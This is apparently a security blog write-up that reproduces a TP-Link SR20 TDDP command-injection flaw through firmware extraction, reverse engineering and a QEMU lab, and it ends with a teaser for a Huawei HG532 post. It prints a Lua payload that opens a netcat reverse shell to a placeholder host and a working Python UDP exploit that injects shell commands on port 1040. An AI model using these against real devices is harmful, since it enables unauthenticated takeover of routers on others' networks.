Description

The TP-Link Device Debug Protocol (TDDP) is a proprietary protocol developed by TP-Link and designed on based of UDP communication.

While researching publicly available information about TP-Link devices, I found that Google security researcher Matthew Garrett discovered a vulnerability in the TDDP implementation of the TP-Link SR20. This vulnerability allows an unauthenticated attacker on the local network to execute arbitrary commands on the device.

In this write-up, I will reproduce and analyze this vulnerability through firmware extraction, reverse engineering, and exploit development.

Research Environment

  • Ubuntu 22.04

Firmware

The firmware used in this research: https://blog.zer0ptr.icu/attachment/SR20(US)_V1_180518.zip

TDDP Protocol

Figure.1 The format of TDDP data packet and TDDP data header are shown in this diagram.

The TDDP header contains several important fields.

  • The Ver field represents the protocol version. TDDP has two versions: V1 and V2.
  • The V1 version does not require authentication, which makes it possible for devices on the same local network to interact with the service without additional verification.

The Type field represents the message type. The corresponding command values are listed below:

  • 4: CMD_AUTO_TEST
  • 6: CMD_CONFIG_MAC
  • 7: CMD_CANCEL_TEST
  • 8: CMD_REBOOT_FOR_TEST
  • 0x0A: CMD_GET_PROD_ID
  • 0x0C: CMD_SYS_INIT
  • 0x0D: CMD_CONFIG_PIN
  • 0x30: CMD_FTEST_USB
  • 0x31: CMD_FTEST_CONFIG

According to publicly available vulnerability information, the vulnerability is located in the CMD_FTEST_CONFIG (0x31) handler under TDDP Version 1.

Reverse Engineering

The first step was extracting the firmware image using binwalk:

1
binwalk -Me <firmware_file>

I renamed the extracted directory for convenience during the analysis.

The squashfs-root directory contains the firmware filesystem that we need to analyze.

By searching for the vulnerable tddp binary inside this filesystem and checking its file type, we can identify that it is a 32-bit ARM ELF executable using the Little-Endian format.

In computer architecture, the Most Significant Bit (MSB) represents the highest-order bit, while the Least Significant Bit (LSB) represents the lowest-order bit. The byte order determines how multi-byte data is stored in memory:

  • Big-Endian stores the most significant byte first.
  • Little-Endian stores the least significant byte first.

After loading the binary into IDA Pro, I noticed that the binary did not expose a recognizable main function.

Therefore, I started the analysis from the _start function, which is the program entry point.

By tracing the control flow, I found that _start eventually jumps to sub_971C. This function appears to be the main logic of the program, so I renamed it to main for convenience during the analysis.

The first function I analyzed was sub_16C90. By examining its behavior, I found that this function is responsible for memory initialization and allocation.

1
2
3
4
5
6
7
8
9
10
11
int sub_16C90()
{
int i; // [sp+4h] [bp-8h]

dword_21A34 = (int)calloc(1u, 4u);
if ( !dword_21A34 )
return sub_13018(-10201, "no memery");
for ( i = 0; i <= 0; ++i )
*(_DWORD *)(dword_21A34 + 4 * i) = 0;
return 0;
}

Next, I analyzed the sub_16D40 function. This function is responsible for releasing the memory was allocated.

1
2
3
4
5
int sub_16D40()
{
free((void *)dword_21A34);
return 0;
}

Then, I analyzed the sub_936C function.

The functions highlighted above are responsible for memory initialization and socket initialization, among them, the sub_16D68 function is worth further analysis.

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall sub_16D68(int a1, uint16_t a2)
{
struct sockaddr s; // [sp+8h] [bp-14h] BYREF

memset(&s, 0, sizeof(s));
s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = htonl(0);
*(_WORD *)s.sa_data = htons(a2);
if ( bind(a1, &s, 0x10u) == -1 )
return sub_13018(-10103, "failed to bind socket");
else
return 0;
}

We can identify the following line as an important part of this function:

1
*(_WORD *)s.sa_data = htons(a2);

The parameter a2 is later passed as 1040.

The htons() function converts a value from host byte order to network byte order, while the bind() function associates a local address with a socket.

Therefore, the purpose of this function is to bind the socket to UDP port 1040.

Continuing the analysis, the sub_9340 function is used to obtain the current time. The following code performs several time-related checks, which are not directly related to the vulnerability, so I skipped these parts.

Next, I moved on to the sub_16418 function.

We found an important function: recvfrom(), the internal implementation of this function is shown below:

1
2
3
4
5
// attributes: thunk
ssize_t recvfrom(int fd, void *buf, size_t n, int flags, struct sockaddr *addr, socklen_t *addr_len)
{
return __imp_recvfrom(fd, buf, n, flags, addr, addr_len);
}

The function prototype is shown below:

1
ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socklen_t *fromlen)

The recvfrom() function is used to receive data from a remote host through a specified socket and store the received data in the memory buffer pointed to by the buf parameter, and in this case, the function receives TDDP packets through the UDP socket bound to port 1040 and passes the received data to the following packet processing logic.

As shown above, v2 contains the received TDDP packet, the condition if (v2 == 1) checks whether the version field of the packet is equal to 1 and the vulnerability exists in this branch because it is the code path responsible for processing TDDP Version 1 packets.

Following this execution flow, we move to the sub_15E74 function, which is responsible for checking the Type field of the TDDP packet.

We continue tracing the execution flow and focus on the case 0x31 branch.

Entering the sub_A580 function, we can continue analyzing the vulnerability logic.

As shown in the figure above, when the TDDP protocol version is 1, the pointer v19 is moved 12 bytes forward from the beginning of the TDDP packet, which means it is moved from the packet header to the beginning of the data section according to the TDDP packet structure mentioned earlier, and then the program reaches an sscanf() function that is responsible for parsing the data contained in the packet.

The sscanf() function parses the data section of the received TDDP packet and splits it into two strings, s and v10, using ; as the delimiter. Although the program attempts to filter the ; character in s, the filtering is incomplete because other shell command separators can still be used. The value of s is then concatenated into the command string cd /tmp;tftp -gr, which is later executed as a shell command. Therefore, if an attacker can control the content of s, it may lead to command injection. To further understand the execution process, we continue analyzing the sub_91DC function.

From the analysis above, we can confirm that this is the location where shell commands are executed.

Next, we analyzed another relevant part of the code:

In this part of the code, the path of a file is stored in the name string, and the file is then loaded through the lual_loadfile function.

How2Exploit

  1. During the sscanf() parsing process, the string s is only filtered against the ; character. However, other shell command separators such as | and & can also be used to chain multiple independent commands, which makes command injection possible.
  2. The command tftp -gr ... is used to download a file from a specified path through the TFTP protocol and save it to the /tmp directory. Based on the file loading behavior observed above, we can set up a TFTP server and place a Lua script containing executable commands in the server directory.

Know it then hack it

Setting up a TFTP Server

  1. Install atftpd:
1
sudo apt install atftpd
  1. Modify the /etc/default/atftpd configuration file as follows:
1
2
3
USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
  1. Create the /tftpboot directory and set its permissions to 777.
    Then place a Lua payload containing a reverse shell command into the
    directory:
1
2
3
function config_test(config)
os.execute("/bin/nc -e /bin/sh <host_ip> <port>")
end
  1. Start the TFTP service:
1
sudo systemctl start atftpd
  1. Check the status of the atftpd service:
1
sudo systemctl status atftpd

QEMU Environment Setup

Download the following three files:

1
2
3
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2

The startup script is shown below:

1
2
3
4
5
6
7
8
9
#!/bin/bash
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap \
-nographic

After starting the QEMU environment, upload the extracted
squashfs-root filesystem into the QEMU environment.

Exploit

Based on the previous analysis, we construct an exploit to verify the
vulnerability.

In this example, we attempt to write a file named test.txt into the
/tmp directory with the content h4ck_f0r_fun.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from socket import *
import sys

tddp_port = 1040
ip = sys.argv[1]

command = "|echo h4ck_f0r_fun > /tmp/test.txt;"
s_send = socket(AF_INET, SOCK_DGRAM, 0)

payload = b'\x01\x31'.ljust(12, b'\x00')
payload += command.encode() + b"winmt"

s_send.sendto(payload, (ip, tddp_port))
s_send.close()

The exploit successfully created the file in the specified directory and wrote the expected content into it, demonstrating that the vulnerability could be successfully exploited.

The exploit successfully created the file in the specified directory and wrote the expected content into it, demonstrating that the vulnerability could be successfully exploited.

Description

  • This remote command execution vulnerability exists in HUAWEI HG532 routers, as disclosed by Check Point security researchers.
  • The TR-064 implementation in Huawei devices is exposed to the WAN through port 37215 (UPnP). Within the device’s UPnP description, there is a service called DeviceUpgrade, which performs firmware upgrades by sending requests to /ctrlt/DeviceUpgrade_1 (referred to as the controlURL).
  • This is executed through two elements: NewStatusURL and NewDownloadURL.
  • The vulnerability allows remote attackers to execute arbitrary commands by injecting shell metacharacters "$()" into NewStatusURL and NewDownloadURL.
Read more »